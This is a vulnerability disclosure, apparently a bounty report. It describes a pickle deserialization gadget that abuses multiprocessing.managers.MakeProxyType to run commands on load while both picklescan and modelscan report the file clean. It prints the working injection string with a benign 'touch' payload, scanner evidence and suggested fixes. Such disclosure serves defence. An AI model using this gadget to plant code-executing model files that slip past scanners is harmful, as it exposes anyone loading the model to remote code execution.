pickle-mptype-makeproxytype-rce

Dual-scanner pickle RCE gadget: multiprocessing.managers.MakeProxyType

Class: Model File Vulnerability / scanner evasion (pickle deserialization RCE) Affected scanners bypassed: picklescan 1.0.5 AND modelscan 0.8.8 (both scan CLEAN) Primitive: single-REDUCE arbitrary command execution via a dangerous stdlib global that is on neither scanner's unsafe-globals blocklist.

Summary

multiprocessing.managers.MakeProxyType(name, exposed) builds a proxy class by interpolating every element of exposed (nominally "method names") raw into an exec() template using %s:

for meth in exposed:
    exec('''def %s(self, /, *args, **kwds):
    return self._callmethod(%r, args, kwds)''' % (meth, meth), dic)

The first %s substitution places meth unescaped immediately after def . A crafted "method name" containing newlines closes that def and injects arbitrary top-level statements that execute the moment exec() runs. Because MakeProxyType is a plain module-level callable, a single pickle GLOBAL multiprocessing.managers MakeProxyType + args tuple + REDUCE triggers arbitrary code execution during pickle.load.

Neither picklescan nor modelscan lists multiprocessing (or any submodule) in its unsafe-globals map, so both tools report the file as clean.

The gadget

Reduce: MakeProxyType('EvilProxy', [MID]) where

MID = 'f():\n    pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g'

The generated source becomes:

def f():
    pass
import os
os.system("touch /tmp/PWNED_MPTYPE_PICKLE")   # <-- runs at exec() time
def g(self, /, *args, **kwds):
        return self._callmethod('f():\n ...', args, kwds)

Verification (current released versions)

$ picklescan -p model.pkl          # picklescan 1.0.5
Infected files: 0
Suspicious globals: 1              # identical bucket a benign `dict` pickle lands in
Dangerous globals: 0               # <-- NOT flagged
exit=0

$ modelscan -p model.pkl           # modelscan 0.8.8
No issues found! 🎉
total_issues: 0

$ python -c "import pickle; pickle.load(open('model.pkl','rb'))"
$ ls /tmp/PWNED_MPTYPE_PICKLE
/tmp/PWNED_MPTYPE_PICKLE           # *** RCE ***

Confirmed executing on Python 3.12 (scan venv) and Python 3.13.

Benign control

benign.pkl (dict([('a',1)])) yields the same picklescan verdict (Suspicious globals: 1, Dangerous globals: 0, exit 0) — demonstrating that picklescan applies no danger classification to the malicious global and treats this RCE gadget identically to a harmless builtin.

Files

• model.pkl — the malicious gadget (payload: touch /tmp/PWNED_MPTYPE_PICKLE)
• benign.pkl — benign control
• build_poc.py — regenerates both pickles
• scan_evidence.txt — raw picklescan + modelscan output

Fix

Add multiprocessing/multiprocessing.managers (MakeProxyType) to both scanners' unsafe-globals maps; upstream, MakeProxyType should validate that each exposed entry is a valid identifier before interpolating it into exec.